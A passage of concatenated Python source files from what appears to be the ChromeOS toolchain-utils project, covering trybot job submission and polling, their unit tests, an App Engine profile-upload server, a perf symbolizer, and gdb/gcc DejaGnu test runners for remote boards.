tryjob_flags.append('--latest-toolchain') tryjob_flags = ' '.join(tryjob_flags) # Launch buildbot with appropriate flags. build = buildbot_name command = ('cros tryjob --yes --json --nochromesdk %s %s %s' % (tryjob_flags, patch_arg, build)) print('CMD: %s' % command) _, out, _ = RunCommandInPath(chromeos_root, command) buildbucket_id = ParseTryjobBuildbucketId(out) print('buildbucket_id: %s' % repr(buildbucket_id)) if not buildbucket_id: logger.GetLogger().LogFatal('Error occurred while launching trybot job: ' '%s' % command) return buildbucket_id def GetTrybotImage(chromeos_root, buildbot_name, patch_list, tryjob_flags=None, build_toolchain=False, async=False): """Launch buildbot and get resulting trybot artifact name. This function launches a buildbot with the appropriate flags to build the test ChromeOS image, with the current ToT mobile compiler. It checks every 10 minutes to see if the trybot has finished. When the trybot has finished, it parses the resulting report logs to find the trybot artifact (if one was created), and returns that artifact name. Args: chromeos_root: the path to the ChromeOS root, needed for finding chromite and launching the buildbot. buildbot_name: the name of the buildbot queue, such as lumpy-release or daisy-paladin. patch_list: a python list of the patches, if any, for the buildbot to use. tryjob_flags: See cros tryjob --help for available options. build_toolchain: builds and uses the latest toolchain, rather than the prebuilt one in SDK. async: don't wait for artifacts; just return the buildbucket id Returns: (buildbucket id, partial image url) e.g. (8952271933586980528, trybot-elm-release-tryjob/R67-10480.0.0-b2373596) """ buildbucket_id = SubmitTryjob(chromeos_root, buildbot_name, patch_list, tryjob_flags, build_toolchain) if async: return buildbucket_id, ' ' # The trybot generally takes more than 2 hours to finish. # Wait two hours before polling the status. time.sleep(INITIAL_SLEEP_TIME) elapsed = INITIAL_SLEEP_TIME status = 'running' image = '' while True: status, image = PeekTrybotImage(chromeos_root, buildbucket_id) if status == 'running': if elapsed > TIME_OUT: logger.GetLogger().LogFatal( 'Unable to get build result for target %s.' % buildbot_name) else: wait_msg = 'Unable to find build result; job may be running.' logger.GetLogger().LogOutput(wait_msg) logger.GetLogger().LogOutput('{0} minutes elapsed.'.format(elapsed / 60)) logger.GetLogger().LogOutput('Sleeping {0} seconds.'.format(SLEEP_TIME)) time.sleep(SLEEP_TIME) elapsed += SLEEP_TIME else: break if not buildbot_name.endswith('-toolchain') and status == 'fail': # For rotating testers, we don't care about their status # result, because if any HWTest failed it will be non-zero. # # The nightly performance tests do not run HWTests, so if # their status is non-zero, we do care. In this case # non-zero means the image itself probably did not build. image = '' if not image: logger.GetLogger().LogError( 'Trybot job (buildbucket id: %s) failed with' 'status %s; no trybot image generated. ' % (buildbucket_id, status)) else: # Convert full gs path to what crosperf expects. For example, convert # gs://chromeos-image-archive/trybot-elm-release-tryjob/R67-10468.0.0-b20789 # to # trybot-elm-release-tryjob/R67-10468.0.0-b20789 image = '/'.join(image.split('/')[-2:]) logger.GetLogger().LogOutput("image is '%s'" % image) logger.GetLogger().LogOutput('status is %s' % status) return buildbucket_id, image def DoesImageExist(chromeos_root, build): """Check if the image for the given build exists.""" ce = command_executer.GetCommandExecuter() command = ('gsutil ls gs://chromeos-image-archive/%s' '/chromiumos_test_image.tar.xz' % (build)) ret = ce.ChrootRunCommand(chromeos_root, command, print_to_console=False) return not ret def WaitForImage(chromeos_root, build): """Wait for an image to be ready.""" elapsed_time = 0 while elapsed_time < TIME_OUT: if DoesImageExist(chromeos_root, build): return logger.GetLogger().LogOutput( 'Image %s not ready, waiting for 10 minutes' % build) time.sleep(SLEEP_TIME) elapsed_time += SLEEP_TIME logger.GetLogger().LogOutput( 'Image %s not found, waited for %d hours' % (build, (TIME_OUT / 3600))) raise BuildbotTimeout('Timeout while waiting for image %s' % build) def GetLatestImage(chromeos_root, path): """Get latest image""" fmt = re.compile(r'R([0-9]+)-([0-9]+).([0-9]+).([0-9]+)') ce = command_executer.GetCommandExecuter() command = ('gsutil ls gs://chromeos-image-archive/%s' % path) _, out, _ = ce.ChrootRunCommandWOutput( chromeos_root, command, print_to_console=False) candidates = [l.split('/')[-2] for l in out.split()] candidates = map(fmt.match, candidates) candidates = [[int(r) for r in m.group(1, 2, 3, 4)] for m in candidates if m] candidates.sort(reverse=True) for c in candidates: build = '%s/R%d-%d.%d.%d' % (path, c[0], c[1], c[2], c[3]) if DoesImageExist(chromeos_root, build): return build ``` #### File: android_external_toolchain-utils/cros_utils/buildbot_utils_unittest.py ```python from __future__ import print_function from mock import patch import time import unittest from cros_utils import buildbot_utils from cros_utils import command_executer class TrybotTest(unittest.TestCase): """Test for CommandExecuter class.""" old_tryjob_out = ( 'Verifying patches...\n' 'Submitting tryjob...\n' 'Successfully sent PUT request to [buildbucket_bucket:master.chromiumos.t' 'ryserver] with [config:success-build] [buildbucket_id:895272114382368817' '6].\n' 'Tryjob submitted!\n' 'To view your tryjobs, visit:\n' ' http://cros-goldeneye/chromeos/healthmonitoring/buildDetails?buildbuck' 'etId=8952721143823688176\n' ' https://uberchromegw.corp.google.com/i/chromiumos.tryserver/waterfall?' 'committer=<EMAIL>&builder=etc\n') tryjob_out = ( '[{"buildbucket_id": "8952721143823688176", "build_config": ' '"cave-llvm-toolchain-tryjob", "url": ' '"http://cros-goldeneye/chromeos/healthmonitoring/buildDetails?buildbucketId=8952721143823688176"}]' ) buildresult_out = ( '{"8952721143823688176": {"status": "pass", "artifacts_url":' '"gs://chromeos-image-archive/trybot-elm-release-tryjob/R67-10468.0.0-' 'b20789"}}') buildbucket_id = '8952721143823688176' counter_1 = 10 def testGetTrybotImage(self): with patch.object(buildbot_utils, 'SubmitTryjob') as mock_submit: with patch.object(buildbot_utils, 'PeekTrybotImage') as mock_peek: with patch.object(time, 'sleep', return_value=None): def peek(_chromeos_root, _buildbucket_id): self.counter_1 -= 1 if self.counter_1 >= 0: return ('running', '') return ('pass', 'gs://chromeos-image-archive/trybot-elm-release-tryjob/' 'R67-10468.0.0-b20789') mock_peek.side_effect = peek mock_submit.return_value = self.buildbucket_id # sync buildbucket_id, image = buildbot_utils.GetTrybotImage( '/tmp', 'falco-release-tryjob', []) self.assertEqual(buildbucket_id, self.buildbucket_id) self.assertEqual('trybot-elm-release-tryjob/' 'R67-10468.0.0-b20789', image) # async buildbucket_id, image = buildbot_utils.GetTrybotImage( '/tmp', 'falco-release-tryjob', [], async=True) self.assertEqual(buildbucket_id, self.buildbucket_id) self.assertEqual(' ', image) def testSubmitTryjob(self): with patch.object(command_executer.CommandExecuter, 'RunCommandWOutput') as mocked_run: mocked_run.return_value = (0, self.tryjob_out, '') buildbucket_id = buildbot_utils.SubmitTryjob('/', 'falco-release-tryjob', [], []) self.assertEqual(buildbucket_id, self.buildbucket_id) def testPeekTrybotImage(self): with patch.object(command_executer.CommandExecuter, 'RunCommandWOutput') as mocked_run: # pass mocked_run.return_value = (0, self.buildresult_out, '') status, image = buildbot_utils.PeekTrybotImage('/', self.buildbucket_id) self.assertEqual('pass', status) self.assertEqual( 'gs://chromeos-image-archive/trybot-elm-release-tryjob/' 'R67-10468.0.0-b20789', image) # running mocked_run.return_value = (1, '', '') status, image = buildbot_utils.PeekTrybotImage('/', self.buildbucket_id) self.assertEqual('running', status) self.assertEqual(None, image) # fail buildresult_fail = self.buildresult_out.replace('\"pass\"', '\"fail\"') mocked_run.return_value = (0, buildresult_fail, '') status, image = buildbot_utils.PeekTrybotImage('/', self.buildbucket_id) self.assertEqual('fail', status) self.assertEqual( 'gs://chromeos-image-archive/trybot-elm-release-tryjob/' 'R67-10468.0.0-b20789', image) def testParseTryjobBuildbucketId(self): buildbucket_id = buildbot_utils.ParseTryjobBuildbucketId(self.tryjob_out) self.assertEqual(buildbucket_id, self.buildbucket_id) if __name__ == '__main__': unittest.main() ``` #### File: android_external_toolchain-utils/cros_utils/tabulator_test.py ```python from __future__ import print_function __author__ = '<EMAIL> (<NAME>)' # System modules import unittest # Local modules import tabulator class TabulatorTest(unittest.TestCase): """Tests for the Tabulator class.""" def testResult(self): table = ['k1', ['1', '3'], ['55']] result = tabulator.Result() cell = tabulator.Cell() result.Compute(cell, table[2], table[1]) expected = ' '.join([str(float(v)) for v in table[2]]) self.assertTrue(cell.value == expected) result = tabulator.AmeanResult() cell = tabulator.Cell() result.Compute(cell, table[2], table[1]) self.assertTrue(cell.value == float(table[2][0])) def testStringMean(self): smr = tabulator.StringMeanResult() cell = tabulator.Cell() value = 'PASS' values = [value for _ in range(3)] smr.Compute(cell, values, None) self.assertTrue(cell.value == value) values.append('FAIL') smr.Compute(cell, values, None) self.assertTrue(cell.value == '?') def testStorageFormat(self): sf = tabulator.StorageFormat() cell = tabulator.Cell() base = 1024.0 cell.value = base sf.Compute(cell) self.assertTrue(cell.string_value == '1.0K') cell.value = base**2 sf.Compute(cell) self.assertTrue(cell.string_value == '1.0M') cell.value = base**3 sf.Compute(cell) self.assertTrue(cell.string_value == '1.0G') def testLerp(self): c1 = tabulator.Color(0, 0, 0, 0) c2 = tabulator.Color(255, 0, 0, 0) c3 = tabulator.Color.Lerp(0.5, c1, c2) self.assertTrue(c3.r == 127.5) self.assertTrue(c3.g == 0) self.assertTrue(c3.b == 0) self.assertTrue(c3.a == 0) c3.Round() self.assertTrue(c3.r == 127) def testGmean(self): a = [1.0e+308] * 3 # pylint: disable=protected-access b = tabulator.Result()._GetGmean(a) self.assertTrue(b >= 0.99e+308 and b <= 1.01e+308) def testTableGenerator(self): runs = [[{'k1': '10', 'k2': '12'}, {'k1': '13', 'k2': '14', 'k3': '15'}], [{'k1': '50', 'k2': '51', 'k3': '52', 'k4': '53'}]] labels = ['vanilla', 'modified'] tg = tabulator.TableGenerator(runs, labels) table = tg.GetTable() header = table.pop(0) self.assertTrue(header == ['keys', 'vanilla', 'modified']) row = table.pop(0) self.assertTrue(row == ['k1', ['10', '13'], ['50']]) row = table.pop(0) self.assertTrue(row == ['k2', ['12', '14'], ['51']]) row = table.pop(0) self.assertTrue(row == ['k3', [None, '15'], ['52']]) row = table.pop(0) self.assertTrue(row == ['k4', [None, None], ['53']]) table = tg.GetTable() columns = [ tabulator.Column(tabulator.AmeanResult(), tabulator.Format()), tabulator.Column(tabulator.AmeanRatioResult(), tabulator.PercentFormat()), ] tf = tabulator.TableFormatter(table, columns) table = tf.GetCellTable() self.assertTrue(table) def testColspan(self): simple_table = [ ['binary', 'b1', 'b2', 'b3'], ['size', 100, 105, 108], ['rodata', 100, 80, 70], ['data', 100, 100, 100], ['debug', 100, 140, 60], ] columns = [ tabulator.Column(tabulator.AmeanResult(), tabulator.Format()), tabulator.Column(tabulator.MinResult(), tabulator.Format()), tabulator.Column(tabulator.AmeanRatioResult(), tabulator.PercentFormat()), tabulator.Column(tabulator.AmeanRatioResult(), tabulator.ColorBoxFormat()), ] our_table = [simple_table[0]] for row in simple_table[1:]: our_row = [row[0]] for v in row[1:]: our_row.append([v]) our_table.append(our_row) tf = tabulator.TableFormatter(our_table, columns) cell_table = tf.GetCellTable() self.assertTrue(cell_table[0][0].colspan == 1) self.assertTrue(cell_table[0][1].colspan == 2) self.assertTrue(cell_table[0][2].colspan == 4) self.assertTrue(cell_table[0][3].colspan == 4) for row in cell_table[1:]: for cell in row: self.assertTrue(cell.colspan == 1) if __name__ == '__main__': unittest.main() ``` #### File: cwp/bartlett/server.py ```python import cgi import logging import md5 import urllib from google.appengine.api import users from google.appengine.ext import db from google.appengine.ext import webapp from google.appengine.ext.webapp.util import run_wsgi_app logging.getLogger().setLevel(logging.DEBUG) class FileEntry(db.Model): profile_data = db.BlobProperty() # The profile data date = db.DateTimeProperty(auto_now_add=True) # Date it was uploaded data_md5 = db.ByteStringProperty() # md5 of the profile data board = db.StringProperty() # board arch chromeos_version = db.StringProperty() # ChromeOS version class MainPage(webapp.RequestHandler): """Main page only used as the form template, not actually displayed.""" def get(self, response=''): # pylint: disable-msg=C6409 if response: self.response.out.write('<html><body>') self.response.out.write("""<br> <form action="/upload" enctype="multipart/form-data" method="post"> <div><label>Profile Data:</label></div> <div><input type="file" name="profile_data"/></div> <div><label>Board</label></div> <div><input type="text" name="board"/></div> <div><label>ChromeOS Version</label></div> <div><input type="text" name="chromeos_version"></div> <div><input type="submit" value="send" name="submit"></div> </form> </body> </html>""") class Upload(webapp.RequestHandler): """Handler for uploading data to the datastore, accessible by anyone.""" def post(self): # pylint: disable-msg=C6409 """Takes input based on the main page's form.""" getfile = FileEntry() f1 = self.request.get('profile_data') getfile.profile_data = db.Blob(f1) getfile.data_md5 = md5.new(f1).hexdigest() getfile.board = self.request.get('board') getfile.chromeos_version = self.request.get('chromeos_version') getfile.put() self.response.out.write(getfile.key()) #self.redirect('/') class ServeHandler(webapp.RequestHandler): """Given the entry's key in the database, output the profile data file. Only accessible from @google.com accounts.""" def get(self, resource): # pylint: disable-msg=C6409 if Authenticate(self): file_key = str(urllib.unquote(resource)) request = db.get(file_key) self.response.out.write(request.profile_data) class ListAll(webapp.RequestHandler): """Displays all files uploaded. Only accessible by @google.com accounts.""" def get(self): # pylint: disable-msg=C6409 """Displays all information in FileEntry, ~ delimited.""" if Authenticate(self): query_str = 'SELECT * FROM FileEntry ORDER BY date ASC' query = db.GqlQuery(query_str) delimiter = '~' for item in query: display_list = [item.key(), item.date, item.data_md5, item.board, item.chromeos_version] str_list = [cgi.escape(str(i)) for i in display_list] self.response.out.write(delimiter.join(str_list) + '</br>') class DelEntries(webapp.RequestHandler): """Deletes entries. Only accessible from @google.com accounts.""" def get(self, resource): # pylint: disable-msg=C6409 """A specific entry is deleted, when the key is given.""" if Authenticate(self): fkey = str(urllib.unquote(resource)) request = db.get(fkey) if request: db.delete(fkey) def Authenticate(webpage): """Some urls are only accessible if logged in with a @google.com account.""" user = users.get_current_user() if user is None: webpage.redirect(users.create_login_url(webpage.request.uri)) elif user.email().endswith('@google.com'): return True else: webpage.response.out.write('Not Authenticated') return False def main(): application = webapp.WSGIApplication( [ ('/', MainPage), ('/upload', Upload), ('/serve/([^/]+)?', ServeHandler), ('/serve', ListAll), ('/del/([^/]+)?', DelEntries), ], debug=False) run_wsgi_app(application) if __name__ == '__main__': main() ``` #### File: cwp/interpreter/symbolizer.py ```python import optparse import os import shutil from subprocess import call from subprocess import PIPE from subprocess import Popen from cros_utils import misc GSUTIL_CMD = 'gsutil cp gs://chromeos-image-archive/%s-release/%s/debug.tgz %s' TAR_CMD = 'tar -zxvf %s -C %s' PERF_BINARY = '/google/data/ro/projects/perf/perf' VMLINUX_FLAG = ' --vmlinux=/usr/lib/debug/boot/vmlinux' PERF_CMD = PERF_BINARY + ' report -i %s -n --symfs=%s' + VMLINUX_FLAG def main(): parser = optparse.OptionParser() parser.add_option('--in', dest='in_dir') parser.add_option('--out', dest='out_dir') parser.add_option('--cache', dest='cache') (opts, _) = parser.parse_args() if not _ValidateOpts(opts): return 1 else: for filename in os.listdir(opts.in_dir): try: _DownloadSymbols(filename, opts.cache) _PerfReport(filename, opts.in_dir, opts.out_dir, opts.cache) except: print 'Exception caught. Continuing...' return 0 def _ValidateOpts(opts): """Ensures all directories exist, before attempting to populate.""" if not os.path.exists(opts.in_dir): print "Input directory doesn't exist." return False if not os.path.exists(opts.out_dir): print "Output directory doesn't exist. Creating it..." os.makedirs(opts.out_dir) if not os.path.exists(opts.cache): print "Cache directory doesn't exist." return False return True def _ParseFilename(filename, canonical=False): """Returns a tuple (key, time, board, lsb_version). If canonical is True, instead returns (database_key, board, canonical_vers) canonical_vers includes the revision string. """ key, time, board, vers = filename.split('~') if canonical: vers = misc.GetChromeOSVersionFromLSBVersion(vers) return (key, time, board, vers) def _FormReleaseDir(board, version): return '%s-release~%s' % (board, version) def _DownloadSymbols(filename, cache): """ Incrementally downloads appropriate symbols. We store the downloads in cache, with each set of symbols in a TLD named like cache/$board-release~$canonical_vers/usr/lib/debug """ _, _, board, vers = _ParseFilename(filename, canonical=True) tmp_suffix = '.tmp' tarball_subdir = _FormReleaseDir(board, vers) tarball_dir = os.path.join(cache, tarball_subdir) tarball_path = os.path.join(tarball_dir, 'debug.tgz') symbol_subdir = os.path.join('usr', 'lib') symbol_dir = os.path.join(tarball_dir, symbol_subdir) if os.path.isdir(symbol_dir): print 'Symbol directory %s exists, skipping download.' % symbol_dir return else: # First download using gsutil. if not os.path.isfile(tarball_path): download_cmd = GSUTIL_CMD % (board, vers, tarball_path + tmp_suffix) print 'Downloading symbols for %s' % filename print download_cmd ret = call(download_cmd.split()) if ret != 0: print 'gsutil returned non-zero error code: %s.' % ret # Clean up the empty directory structures. os.remove(tarball_path + tmp_suffix) raise IOError shutil.move(tarball_path + tmp_suffix, tarball_path) # Next, untar the tarball. os.makedirs(symbol_dir + tmp_suffix) extract_cmd = TAR_CMD % (tarball_path, symbol_dir + tmp_suffix) print 'Extracting symbols for %s' % filename print extract_cmd ret = call(extract_cmd.split()) if ret != 0: print 'tar returned non-zero code: %s.' % ret raise IOError shutil.move(symbol_dir + tmp_suffix, symbol_dir) os.remove(tarball_path) def _PerfReport(filename, in_dir, out_dir, cache): """ Call perf report on the file, storing output to the output dir. The output is currently stored as $out_dir/$filename """ _, _, board, vers = _ParseFilename(filename, canonical=True) symbol_cache_tld = _FormReleaseDir(board, vers) input_file = os.path.join(in_dir, filename) symfs = os.path.join(cache, symbol_cache_tld) report_cmd = PERF_CMD % (input_file, symfs) print 'Reporting.' print report_cmd report_proc = Popen(report_cmd.split(), stdout=PIPE) outfile = open(os.path.join(out_dir, filename), 'w') outfile.write(report_proc.stdout.read()) outfile.close() if __name__ == '__main__': exit(main()) ``` #### File: android_external_toolchain-utils/debug_info_test/check_ngcc.py ```python from whitelist import is_whitelisted def not_by_gcc(dso_path, producer, comp_path): """Check whether the compile unit is not built by gcc. Args: dso_path: path to the elf/dso producer: DW_AT_producer contains the compiler command line. comp_path: DW_AT_comp_dir + DW_AT_name Returns: False if compiled by gcc otherwise True """ if is_whitelisted('ngcc_comp_path', comp_path): return True if is_whitelisted('ngcc_dso_path', dso_path): return True if 'GNU C' in producer: return False return True ``` #### File: android_external_toolchain-utils/dejagnu/gdb_dejagnu.py ```python import optparse import os from os import path import re import shutil import stat import sys import tempfile import time from cros_utils import command_executer from cros_utils import logger from cros_utils import misc from run_dejagnu import TryAcquireMachine _VALID_TEST_RESULTS = ['FAIL', 'UNRESOLVED', 'XPASS', 'ERROR', 'UNSUPPORTED', 'PASS'] def ProcessArguments(argv): """Processing/validating script arguments.""" parser = optparse.OptionParser(description=( 'Launches gdb dejagnu test in chroot for chromeos toolchain, compares ' 'the test result with a repository baseline and prints out the result.'), usage='run_dejagnu options') parser.add_option('-c', '--chromeos_root', dest='chromeos_root', help='Required. Specify chromeos root') parser.add_option('-m', '--mount', dest='mount', help=('Specify gdb source to mount instead of "auto". ' 'Under "auto" mode, which is the default - gdb is ' 'checked out and built automatically at default ' 'directories. Under "mount" mode ' '- the gdb_source is set to "$chromeos_' 'root/chroot/usr/local/toolchain_root/gdb", which is ' 'the mount point for this option value.')) parser.add_option('-b', '--board', dest='board', help=('Required. Specify board.')) parser.add_option('-r', '--remote', dest='remote', help=('Required. Specify addresses/names of the board, ' 'seperate each address/name using comma(\',\').')) parser.add_option('--cleanup', dest='cleanup', default=None, help=('Optional. Values to this option could be ' '\'chroot\' (delete chroot) and ' '\'chromeos\' (delete the whole chromeos tree).')) options, args = parser.parse_args(argv) if not options.chromeos_root: raise SyntaxError('Missing argument for --chromeos_root.') if not options.remote: raise SyntaxError('Missing argument for --remote.') if not options.board: raise SyntaxError('Missing argument for --board.') if options.cleanup == 'mount' and not options.mount: raise SyntaxError('--cleanup=\'mount\' not valid unless --mount is given.') if options.cleanup and not (options.cleanup == 'mount' or options.cleanup == 'chroot' or options.cleanup == 'chromeos'): raise SyntaxError('Invalid option value for --cleanup') return options class DejagnuExecuter(object): """The class wrapper for dejagnu test executer.""" def __init__(self, base_dir, source_dir, chromeos_root, remote, board, cleanup): self._l = logger.GetLogger() self._chromeos_root = chromeos_root self._chromeos_chroot = path.join(chromeos_root, 'chroot') self._remote = remote self._board = board ## Compute target from board self._target = misc.GetCtargetFromBoard(board, chromeos_root) if not self._target: raise RuntimeError('Unsupported board "%s"' % board) self._executer = command_executer.GetCommandExecuter() self._base_dir = base_dir self._tmp_abs = None self._cleanup = cleanup self._sshflag = ('-o StrictHostKeyChecking=no ' + '-o CheckHostIP=no ' + '-o UserKnownHostsFile=$(mktemp) ') if source_dir: self._source_dir = source_dir self._mount_flag = 'USE="mounted_sources"' self.MountSource() else: self._source_dir = None self._mount_flag = '' def SetupTestingDir(self): self._tmp_abs = tempfile.mkdtemp( prefix='dejagnu_', dir=path.join(self._chromeos_chroot, 'tmp')) self._tmp = self._tmp_abs[len(self._chromeos_chroot):] self._tmp_testing_rsa = path.join(self._tmp, 'testing_rsa') self._tmp_testing_rsa_abs = path.join(self._tmp_abs, 'testing_rsa') def PrepareTestingRsaKeys(self): if not path.isfile(self._tmp_testing_rsa_abs): shutil.copy( path.join(self._chromeos_root, 'src/scripts/mod_for_test_scripts/ssh_keys/testing_rsa'), self._tmp_testing_rsa_abs) os.chmod(self._tmp_testing_rsa_abs, stat.S_IRUSR) def PrepareTestFiles(self): """Prepare site.exp and board exp files.""" # Create the boards directory. os.mkdir('%s/boards' % self._tmp_abs) # Generate the chromeos.exp file. with open('%s/boards/gdb.exp.in' % self._base_dir, 'r') as template_file: content = template_file.read() substitutions = dict({ '__boardname__': self._board, '__board_hostname__': self._remote, '__tmp_testing_rsa__': self._tmp_testing_rsa, '__tmp_dir__': self._tmp }) for pat, sub in substitutions.items(): content = content.replace(pat, sub) board_file_name = '%s/boards/%s.exp' % (self._tmp_abs, self._board) with open(board_file_name, 'w') as board_file: board_file.write(content) # Generate the site file with open('%s/site.exp' % self._tmp_abs, 'w') as site_file: site_file.write('set target_list "%s"\n' % self._board) with open('%s/boards/gdbserver.sh.in' % self._base_dir, 'r') \ as template_file: content = template_file.read() substitutions = dict({ '__board_hostname__': self._remote, '__tmp_testing_rsa__': self._tmp_testing_rsa, '__tmp_dir__': self._tmp }) for pat, sub in substitutions.items(): content = content.replace(pat, sub) gdbserver_file_name = '%s/boards/gdbserver.sh' % (self._tmp_abs) with open(gdbserver_file_name, 'w') as board_file: board_file.write(content) st = os.stat(gdbserver_file_name) os.chmod(gdbserver_file_name, st.st_mode | stat.S_IXGRP | stat.S_IXUSR) def PrepareGdb(self): self.PrepareGdbDefault() def PrepareGdbDefault(self): ret = self._executer.ChrootRunCommandWOutput( self._chromeos_root, 'equery w cross-%s/gdb' % self._target)[1] ret = path.basename(ret.strip()) matcher = re.match(r'(.*).ebuild', ret) if matcher: gdb_reversion = matcher.group(1) else: raise RuntimeError('Failed to get gdb reversion.') gdb_version = gdb_reversion.split('-r')[0] gdb_portage_dir = '/var/tmp/portage/cross-%s/%s/work' % (self._target, gdb_reversion) self._gdb_source_dir = path.join(gdb_portage_dir, gdb_version) ret = self._executer.ChrootRunCommand(self._chromeos_root, ( 'sudo %s ebuild $(equery w cross-%s/gdb) clean compile' % ( self._mount_flag, self._target))) if ret: raise RuntimeError('ebuild gdb failed.') def PrepareGdbserver(self): self.PrepareGdbserverDefault() def PrepareGdbserverDefault(self): cmd = ('./setup_board --board {0}; ' '{1} emerge-{0} gdb'.format(self._board, self._mount_flag)) ret = self._executer.ChrootRunCommand(self._chromeos_root, cmd, print_to_console=True) if ret: raise RuntimeError('ebuild gdbserver failed.') cmd = ('scp -i {0} {1} ' '/build/{2}/usr/bin/gdbserver root@{3}:/usr/local/bin/'.format( self._tmp_testing_rsa, self._sshflag, self._board, self._remote)) ret = self._executer.ChrootRunCommand(self._chromeos_root, cmd, print_to_console=True) if ret: raise RuntimeError('copy gdbserver failed.') if self._mount_flag: self.MountSource(unmount=False) def Cleanup(self): if not self._cleanup: return if self._cleanup == 'chroot' or self._cleanup == 'chromeos': self._l.LogOutput('[Cleanup]: Deleting chroot inside \'{0}\''.format( self._chromeos_root)) command = 'cd %s; cros_sdk --delete' % self._chromeos_root rv = self._executer.RunCommand(command) if rv: self._l.LogWarning('Warning - failed to delete chroot.') # Delete .cache - crosbug.com/34956 command = 'sudo rm -fr %s' % os.path.join(self._chromeos_root, '.cache') rv = self._executer.RunCommand(command) if rv: self._l.LogWarning('Warning - failed to delete \'.cache\'.') if self._cleanup == 'chromeos': self._l.LogOutput('[Cleanup]: Deleting chromeos tree \'{0}\' ...'.format( self._chromeos_root)) command = 'rm -fr {0}'.format(self._chromeos_root) rv = self._executer.RunCommand(command) if rv: self._l.LogWarning('Warning - failed to remove chromeos tree.') def MakeCheck(self): cmd = ('ssh -i {0} {1} root@{2} "reboot && exit"' .format(self._tmp_testing_rsa, self._sshflag, self._remote)) self._executer.ChrootRunCommand(self._chromeos_root, cmd) time.sleep(40) cmd = ('ssh -i {0} {1} root@{2} ' '"iptables -A INPUT -p tcp --dport 1234 -j ACCEPT"'.format( self._tmp_testing_rsa, self._sshflag, self._remote)) self._executer.ChrootRunCommand(self._chromeos_root, cmd) cmd = ('cd %s ; ' 'DEJAGNU=%s make check' % (path.join(self._gdb_source_dir, 'gdb'), path.join(self._tmp, 'site.exp'))) ret = self._executer.ChrootRunCommand(self._chromeos_root, cmd) if ret: raise RuntimeError('Make check failed.') # This method ensures necessary mount points before executing chroot comamnd. def MountSource(self, unmount=False): script = os.path.join(self._base_dir, 'build_tc.py') if unmount: mount = '-u' else: mount = '-m' cmd = ('python {0} --chromeos_root={1} ' '--gdb_dir={2} --board={3} {4}'.format(script, self._chromeos_root, self._source_dir, self._board, mount)) rv = self._executer.RunCommand(cmd) if rv: raise RuntimeError('Mount source failed.') def ResultValidate(self): self.PrepareResult() result = [] for key, value in self.base_result.items(): if 'PASS' not in value: continue if key not in self.test_result: continue test_result = self.test_result[key] if 'PASS' not in test_result: result.append(key) return result def PrepareResult(self): test_output = os.path.join(self._gdb_source_dir, 'gdb', 'testsuite', 'gdb.sum') test_output = misc.GetOutsideChrootPath(self._chromeos_root, test_output) base_output = os.path.join(self._base_dir, 'gdb_baseline', self._target) self.test_result = self.ParseResult(test_output) self.base_result = self.ParseResult(base_output) def ParseResult(self, gdb_sum): result = {} multi_keys = {} with open(gdb_sum) as input_sum: for line in input_sum: line = line.strip() r = line.split(':', 1) if r[0] in _VALID_TEST_RESULTS: key = r[1] if r[1] in result: if r[1] in multi_keys: multi_keys[r[1]] += 1 else: multi_keys[r[1]] = 2 key = r[1] + '_____{0}_____'.format(multi_keys[r[1]]) result[key] = r[0] return result def Main(argv): opts = ProcessArguments(argv) available_machine = TryAcquireMachine(opts.remote) executer = DejagnuExecuter( misc.GetRoot(argv[0])[0], opts.mount, opts.chromeos_root, available_machine._name, opts.board, opts.cleanup) # Return value is a 3- or 4-element tuple # element#1 - exit code # element#2 - stdout # element#3 - stderr # element#4 - exception infor # Some other scripts need these detailed information. ret = (1, '', '') try: executer.SetupTestingDir() executer.PrepareTestingRsaKeys() executer.PrepareTestFiles() executer.PrepareGdb() executer.PrepareGdbserver() executer.MakeCheck() result = executer.ResultValidate() print result if result: ret = (1, result, '') else: ret = (0, '', '') except Exception as e: # At least log the exception on console. print e # The #4 element encodes the runtime exception. ret = (1, '', '', 'Exception happened during execution: \n' + str(e)) finally: executer.Cleanup() return ret if __name__ == '__main__': retval = Main(sys.argv)[0] sys.exit(retval) ``` #### File: android_external_toolchain-utils/dejagnu/run_dejagnu.py ```python __author__ = '<EMAIL> (<NAME>)' import getpass import optparse import os from os import path import re import shutil import stat import sys import tempfile import time import lock_machine import tc_enter_chroot from cros_utils import command_executer from cros_utils import constants from cros_utils import logger from cros_utils import misc def ProcessArguments(argv): """Processing/validating script arguments.""" parser = optparse.OptionParser(description=( 'Launches gcc dejagnu test in chroot for chromeos toolchain, compares ' 'the test result with a repository baseline and prints out the result.'), usage='run_dejagnu options') parser.add_option('-c', '--chromeos_root', dest='chromeos_root', help='Required. Specify chromeos root') parser.add_option('-m', '--mount', dest='mount', help=('Specify gcc source to mount instead of "auto". ' 'Under "auto" mode, which is the default - gcc is ' 'checked out and built automatically at default ' 'directories. Under "mount" mode ' '- the gcc_source is set to "$chromeos_' 'root/chroot/usr/local/toolchain_root/gcc", which is ' 'the mount point for this option value, the ' 'gcc-build-dir then is computed as ' '"${gcc_source_dir}-build-${ctarget}". In this mode, ' 'a complete gcc build must be performed in the ' 'computed gcc-build-dir beforehand.')) parser.add_option('-b', '--board', dest='board', help=('Required. Specify board.')) parser.add_option('-r', '--remote', dest='remote', help=('Required. Specify addresses/names of the board, ' 'seperate each address/name using comma(\',\').')) parser.add_option('-f', '--flags', dest='flags', help='Optional. Extra run test flags to pass to dejagnu.') parser.add_option('-k', '--keep', dest='keep_intermediate_files', action='store_true', default=False, help=('Optional. Default to false. Do not remove dejagnu ' 'intermediate files after test run.')) parser.add_option('--cleanup', dest='cleanup', default=None, help=('Optional. Values to this option could be ' '\'mount\' (unmount gcc source and ' 'directory directory, ' 'only valid when --mount is given), ' '\'chroot\' (delete chroot) and ' '\'chromeos\' (delete the whole chromeos tree).')) parser.add_option('-t', '--tools', dest='tools', default='gcc,g++', help=('Optional. Specify which tools to check, using ' '","(comma) as separator. A typical value would be ' '"g++" so that only g++ tests are performed. ' 'Defaults to "gcc,g++".')) options, args = parser.parse_args(argv) if not options.chromeos_root: raise SyntaxError('Missing argument for --chromeos_root.') if not options.remote: raise SyntaxError('Missing argument for --remote.') if not options.board: raise SyntaxError('Missing argument for --board.') if options.cleanup == 'mount' and not options.mount: raise SyntaxError('--cleanup=\'mount\' not valid unless --mount is given.') if options.cleanup and not ( options.cleanup == 'mount' or \ options.cleanup == 'chroot' or options.cleanup == 'chromeos'): raise ValueError('Invalid option value for --cleanup') if options.cleanup and options.keep_intermediate_files: raise SyntaxError('Only one of --keep and --cleanup could be given.') return options class DejagnuExecuter(object): """The class wrapper for dejagnu test executer.""" def __init__(self, base_dir, mount, chromeos_root, remote, board, 